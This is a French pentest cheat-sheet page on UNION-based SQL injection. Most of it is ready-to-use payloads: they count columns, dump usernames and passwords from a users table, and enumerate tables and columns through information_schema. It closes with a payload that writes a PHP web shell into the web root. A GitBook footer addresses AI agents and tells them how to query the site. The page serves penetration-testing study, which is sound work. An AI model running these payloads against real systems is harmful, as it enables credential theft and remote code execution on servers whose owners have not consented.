> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-web/injections/sqli/union-based.md).

# UNION based

## Déterminer le nombre de colonnes

### Avec ORDER BY

```sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
```

### Avec UNION SELECT

```sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
```

## Trouver une colonne contenant du texte

```sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

Une fois le nombre de colonne trouvé,

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
```

## Selectionner des colonnes dans une table

```sql
' UNION SELECT <column1>, <column2>,... FROM table--
Exemple:
' UNION SELECT username, password FROM users--
```

## Afficher plusieurs colonnes d'une table sur une seule ligne

```sql
' UNION SELECT <column1> || '<separator>' || <column2> FROM table--
Exemple:
' UNION SELECT username || '~' || password FROM users--
```

## Recupérer la liste des tables dans la BDD

Exemple:

```sql
' UNION SELECT NULL,NULL-- (2 colonnes)
Donc,
' UNION SELECT table_name,NULL FROM information_schema.tables--

reponse,
...
...
users
```

## Récupérer le nom des colonnes dans une table

En suivant l'exemple précédent:

```sql
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
```

{% hint style="info" %}
Pour Oracle, remplacer '`information_schema.tables`' par '`all_tables`' et `'information_schema.columns`' par '`all_tab_columns`'.
{% endhint %}

## PHP RCE

```sql
' UNION SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/html/shell.php' #
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/injections/sqli/union-based.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
